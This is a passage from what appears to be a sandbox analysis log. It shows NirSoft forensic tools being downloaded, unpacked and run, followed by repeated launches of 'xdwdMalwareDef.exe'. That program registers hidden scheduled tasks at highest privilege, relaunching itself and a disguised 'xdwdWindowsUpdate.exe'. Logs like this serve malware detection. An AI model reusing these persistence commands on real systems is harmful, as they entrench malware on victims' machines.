    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip.part https://www.nirsoft.net/utils/executedprogramslist.zip
    3⤵
    PID:4444
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
    3⤵
    PID:4932
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist
    3⤵
    PID:3456
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Loads dropped DLL
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3956
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview
    3⤵
    PID:2852
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Loads dropped DLL
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5672
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5912
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3824
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5664
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3016
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5748
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4264
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2620
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:3100
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
    3⤵
    PID:920
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Loads dropped DLL
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5944
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3152
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1264
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5432
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2340
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:5676
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5856
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4972
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2140
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1600
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:1224
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2840
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4132
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:240
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5772
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1156
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4288
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:700
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4180
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:3208
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3992
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2616
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2636
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4856
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1256
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    PID:3196
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4172
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1440

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5892
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1816
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:1128
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2868
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5956

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3068
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3008
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5756
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1864
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:4536

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2484
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5444
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5208
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4708
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6132

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2716
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4312
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:3236
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2056
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:1832

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3172
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3360
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:4384
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1232
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5020

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1360
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2020
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1548
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4224
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5744

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:820
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4124
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2880
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4396
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5808

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4860
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1048
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:4980
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3132
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:4632

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4108
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6920
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6704
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6980
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1676

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3820
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6932
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5092
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4540
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7860

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1856
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6500
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8156
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2460
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6240

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1400
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6640
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    PID:848
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1296
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:8128

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2528
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6988
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7708
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6496
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7884

C:\Windows\Sub\xdwdMalwareDef.exe
"C:\Windows\Sub\xdwdMalwareDef.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1336
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7116
- - C:\Windows\System32\schtasks.exe
